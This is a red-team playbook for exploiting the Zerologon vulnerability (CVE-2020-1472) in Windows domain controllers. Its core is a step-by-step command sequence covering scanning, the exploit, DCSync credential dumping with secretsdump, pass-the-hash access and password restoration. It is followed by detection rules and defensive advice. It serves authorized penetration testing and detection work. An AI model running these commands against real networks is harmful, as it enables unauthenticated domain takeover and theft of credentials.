| name | exploiting-zerologon-vulnerability-cve-2020-1472 |
| description | Exploit the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol to achieve domain controller compromise by resetting the machine account password to empty. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | - zerologon - cve-2020-1472 - netlogon - domain-controller - privilege-escalation - active-directory - ms-nrpc |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | - Platform Monitoring - Process Code Segment Verification - Stack Frame Canary Validation - Segment Address Offset Randomization - Process Analysis |
| nist_csf | - ID.RA-01 - GV.OV-02 - DE.AE-07 |
Exploiting Zerologon Vulnerability (CVE-2020-1472)
Overview
Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).
When to Use
- When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)
- No authentication required (unauthenticated exploit)
- Target DC must not have the February 2021 enforcement mode enabled
- Impacket toolkit installed
- Written authorization for red team engagement
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|
| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |
| T1210 | Exploitation of Remote Services | Lateral Movement |
| T1003.006 | OS Credential Dumping: DCSync | Credential Access |
| T1078.002 | Valid Accounts: Domain Accounts | Persistence |
Vulnerability Technical Details
Root Cause
The Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:
- The IV is hardcoded to 16 bytes of zeros
- When the plaintext is 8 bytes of zeros, AES-CFB8 produces a ciphertext of all zeros with probability 1 in 256
- An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed
Affected Systems
- Windows Server 2008 R2 through Windows Server 2019
- All domain controllers running unpatched Netlogon service
- Samba versions < 4.8 (if running as AD DC)
Step 1: Identify Vulnerable Domain Controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
python3 zerologon_tester.py DC01 10.10.10.1
crackmapexec smb 10.10.10.1 -M zerologon
Step 2: Exploit Zerologon
python3 cve_2020_1472.py DC01$ 10.10.10.1
Step 3: DCSync with Empty Password
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
-just-dc-user Administrator
Step 4: Obtain Domain Admin Access
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/[email protected]
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/[email protected]
Step 5: Restore Machine Account Password (CRITICAL)
WARNING: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
-hexpass <original_hex_password>
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
Detection
Windows Event Logs
Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period
Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt
Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP
Network Detection
alert dcerpc any any -> any any (
msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
flow:established,to_server;
dce_opnum:4;
content:"|00 00 00 00 00 00 00 00|";
sid:2030870;
rev:1;
)
Sigma Rule
title: Zerologon Exploitation Attempt
status: stable
logsource:
product: windows
service: system
detection:
selection:
EventID: 5805
LogonType: 3
timeframe: 5m
condition: selection | count(EventID) > 100
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2020.1472
Defensive Recommendations
- Apply patches immediately - KB4571694 (August 2020) and enforce February 2021 mode
- Enable enforcement mode via registry:
FullSecureChannelProtection = 1
- Monitor Event ID 5805 for repeated Netlogon failures
- Deploy Microsoft Defender for Identity (detects Zerologon automatically)
- Network segmentation - Restrict direct access to DCs from user networks
- Block Netlogon RPC from non-DC systems where possible
References
